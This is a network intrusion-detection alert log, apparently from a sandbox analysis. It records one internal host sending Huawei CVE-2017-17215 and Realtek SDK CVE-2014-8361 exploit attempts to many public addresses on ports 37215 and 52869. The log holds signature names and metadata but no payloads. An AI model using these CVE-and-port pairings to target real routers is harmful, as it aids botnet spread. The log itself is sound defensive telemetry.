Timestamp:	07/20/24-23:10:52.010300
SID:	2831300
Source Port:	49654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.4.32

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	44526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 120.182.174.145

Timestamp:	07/20/24-23:10:51.940556
SID:	2831300
Source Port:	46112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.127.38.178

Timestamp:	07/20/24-23:10:49.341206
SID:	2829579
Source Port:	49770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.217.29.78

Timestamp:	07/20/24-23:10:52.047583
SID:	2027339
Source Port:	34010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 202.46.173.51

Timestamp:	07/20/24-23:10:56.011930
SID:	2835222
Source Port:	55132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 203.39.100.182

Timestamp:	07/20/24-23:10:39.912761
SID:	2025132
Source Port:	43734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.195.53.217

Timestamp:	07/20/24-23:10:46.832505
SID:	2829579
Source Port:	53432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.176.127.22

Timestamp:	07/20/24-23:11:06.687949
SID:	2835222
Source Port:	58884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.104.229.164

Timestamp:	07/20/24-23:10:39.486941
SID:	2829579
Source Port:	55870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.55.78.55

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	55246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.66.203.138

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	55578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 167.160.225.22

Timestamp:	07/20/24-23:10:42.637523
SID:	2027339
Source Port:	34248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.206.241.145

Timestamp:	07/20/24-23:10:43.220759
SID:	2027339
Source Port:	58788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.224.103

Timestamp:	07/20/24-23:10:41.232616
SID:	2829579
Source Port:	51524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.242.200.156

Timestamp:	07/20/24-23:10:47.563542
SID:	2027339
Source Port:	34788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.157.220.94

Timestamp:	07/20/24-23:11:06.662677
SID:	2835222
Source Port:	38100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.25.162

Timestamp:	07/20/24-23:10:52.571075
SID:	2829579
Source Port:	34266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.26.16.215

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	60984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.110.199.66

Timestamp:	07/20/24-23:10:41.241817
SID:	2835222
Source Port:	59968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 79.135.225.176

Timestamp:	07/20/24-23:10:52.578509
SID:	2835222
Source Port:	58006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.141.80.64

Timestamp:	07/20/24-23:10:41.224086
SID:	2835222
Source Port:	44576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.166.27

Timestamp:	07/20/24-23:10:40.656564
SID:	2829579
Source Port:	34744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.99.249.186

Timestamp:	07/20/24-23:10:52.010300
SID:	2027339
Source Port:	42234
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.64.175.189

Timestamp:	07/20/24-23:10:42.269853
SID:	2835222
Source Port:	48768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 60.235.44.38

Timestamp:	07/20/24-23:10:56.046357
SID:	2835222
Source Port:	57642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.177.32.57

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	38992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.116.21.37

Timestamp:	07/20/24-23:11:06.679232
SID:	2835222
Source Port:	60588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.250.42.92

Timestamp:	07/20/24-23:10:59.029814
SID:	2835222
Source Port:	58742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.104.3.213

Timestamp:	07/20/24-23:10:52.571075
SID:	2835222
Source Port:	40740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.72.242.187

Timestamp:	07/20/24-23:11:03.382352
SID:	2835222
Source Port:	35752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 171.218.135.148

Timestamp:	07/20/24-23:10:44.808575
SID:	2027339
Source Port:	33248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 194.51.38.79

Timestamp:	07/20/24-23:10:51.988569
SID:	2027339
Source Port:	57458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.178.139.14

Timestamp:	07/20/24-23:10:52.004017
SID:	2027339
Source Port:	59888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.246.92.161

Timestamp:	07/20/24-23:10:46.809208
SID:	2835222
Source Port:	51976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.235.145

Timestamp:	07/20/24-23:10:52.581805
SID:	2829579
Source Port:	48414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 85.126.23.91

Timestamp:	07/20/24-23:10:39.166048
SID:	2025132
Source Port:	51080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.216.196.59

Timestamp:	07/20/24-23:10:43.197086
SID:	2027339
Source Port:	38332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.72.2.21

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	57184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.193.189.57

Timestamp:	07/20/24-23:10:59.028826
SID:	2829579
Source Port:	40050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.19.219.100

Timestamp:	07/20/24-23:10:49.420934
SID:	2829579
Source Port:	43624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 164.168.209.243

Timestamp:	07/20/24-23:10:51.902170
SID:	2027339
Source Port:	51204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 14.45.204.86

Timestamp:	07/20/24-23:10:43.202899
SID:	2027339
Source Port:	39300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.113.230.124

Timestamp:	07/20/24-23:10:44.257621
SID:	2027339
Source Port:	50480
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 32.169.224.65

Timestamp:	07/20/24-23:10:39.173718
SID:	2027339
Source Port:	35130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.154.192.149

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	57188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.118.67.109

Timestamp:	07/20/24-23:10:59.028826
SID:	2829579
Source Port:	58844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.86.2.56

Timestamp:	07/20/24-23:10:42.266163
SID:	2835222
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 167.111.167.13

Timestamp:	07/20/24-23:10:52.010300
SID:	2831300
Source Port:	39322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 115.117.47.110

Timestamp:	07/20/24-23:11:03.390577
SID:	2829579
Source Port:	34800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.41.140.52

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	36878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 17.96.206.10

Timestamp:	07/20/24-23:10:39.122108
SID:	2025132
Source Port:	38068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 17.96.206.10

Timestamp:	07/20/24-23:10:42.625971
SID:	2831300
Source Port:	38770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 1.160.86.11

Timestamp:	07/20/24-23:10:42.630809
SID:	2027339
Source Port:	47378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.150.213.32

Timestamp:	07/20/24-23:10:40.607363
SID:	2835222
Source Port:	51210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 183.79.5.78

Timestamp:	07/20/24-23:10:42.625971
SID:	2027339
Source Port:	44092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.103.32.66

Timestamp:	07/20/24-23:10:46.768902
SID:	2835222
Source Port:	49988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.151.166.61

Timestamp:	07/20/24-23:10:40.604940
SID:	2829579
Source Port:	32902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 77.241.200.75

Timestamp:	07/20/24-23:10:44.177599
SID:	2025132
Source Port:	52272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.9.212.7

Timestamp:	07/20/24-23:10:42.248237
SID:	2829579
Source Port:	46134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 104.126.44.136

Timestamp:	07/20/24-23:10:42.633392
SID:	2831300
Source Port:	52092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 13.3.106.56

Timestamp:	07/20/24-23:10:42.639392
SID:	2831300
Source Port:	54964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 201.121.155.5

Timestamp:	07/20/24-23:10:47.803323
SID:	2027339
Source Port:	45810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.53.142.163

Timestamp:	07/20/24-23:10:52.531229
SID:	2835222
Source Port:	44638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.141.247.0

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	51644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 131.117.56.72

Timestamp:	07/20/24-23:10:52.521111
SID:	2835222
Source Port:	45182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.213.153.141

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	48536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.85.205.73

Timestamp:	07/20/24-23:10:52.549474
SID:	2829579
Source Port:	41722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.244.107.142

Timestamp:	07/20/24-23:10:39.387844
SID:	2027339
Source Port:	52008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.155.165.246

Timestamp:	07/20/24-23:10:52.581035
SID:	2829579
Source Port:	49338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.254.121.226

Timestamp:	07/20/24-23:10:46.865461
SID:	2835222
Source Port:	38794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.62.78.235

Timestamp:	07/20/24-23:10:42.636830
SID:	2027339
Source Port:	54778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 71.5.90.99

Timestamp:	07/20/24-23:10:45.653136
SID:	2027339
Source Port:	56026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 171.65.238.111

Timestamp:	07/20/24-23:10:52.007232
SID:	2027339
Source Port:	46358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 14.134.150.109

Timestamp:	07/20/24-23:10:39.760924
SID:	2025132
Source Port:	49320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.242.148.168

Timestamp:	07/20/24-23:10:39.437234
SID:	2835222
Source Port:	56992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 122.79.202.98

Timestamp:	07/20/24-23:10:51.957772
SID:	2831300
Source Port:	40662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.52.217.19

Timestamp:	07/20/24-23:10:58.910194
SID:	2829579
Source Port:	36336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.207.0.55

Timestamp:	07/20/24-23:10:51.917055
SID:	2027339
Source Port:	53878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 87.147.33.140

Timestamp:	07/20/24-23:10:42.882095
SID:	2025132
Source Port:	48602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.8.189.211

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	40920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.1.165.207

Timestamp:	07/20/24-23:10:51.937938
SID:	2027339
Source Port:	39462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 119.58.176.87

Timestamp:	07/20/24-23:10:52.007232
SID:	2831300
Source Port:	40756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 184.48.192.179

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	51470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.214.102.224

Timestamp:	07/20/24-23:11:06.687949
SID:	2829579
Source Port:	54854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.228.0.150

Timestamp:	07/20/24-23:11:03.361259
SID:	2835222
Source Port:	45454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.90.252

Timestamp:	07/20/24-23:10:58.986541
SID:	2829579
Source Port:	44918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 95.10.158.177

Timestamp:	07/20/24-23:10:52.016220
SID:	2831300
Source Port:	43018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.56.104.227

Timestamp:	07/20/24-23:11:06.689940
SID:	2835222
Source Port:	39502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 212.219.251.156

Timestamp:	07/20/24-23:10:42.250388
SID:	2829579
Source Port:	38190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.248.223.251

Timestamp:	07/20/24-23:10:46.711367
SID:	2835222
Source Port:	48230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 135.228.190.116

Timestamp:	07/20/24-23:10:44.752904
SID:	2027339
Source Port:	42588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.144.127.180

Timestamp:	07/20/24-23:11:03.361095
SID:	2829579
Source Port:	57212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.235.225.253

Timestamp:	07/20/24-23:10:56.073192
SID:	2829579
Source Port:	33196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 119.6.246.136

Timestamp:	07/20/24-23:10:44.697717
SID:	2025132
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.243.168.27

Timestamp:	07/20/24-23:11:06.706397
SID:	2829579
Source Port:	47192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 170.247.115.65

Timestamp:	07/20/24-23:10:52.450341
SID:	2027339
Source Port:	48800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 220.55.101.199

Timestamp:	07/20/24-23:10:42.619674
SID:	2027339
Source Port:	33538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 210.2.46.1

Timestamp:	07/20/24-23:10:42.636830
SID:	2831300
Source Port:	49720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.219.56.164

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	40124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 93.91.138.170

Timestamp:	07/20/24-23:10:47.728144
SID:	2025132
Source Port:	43120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

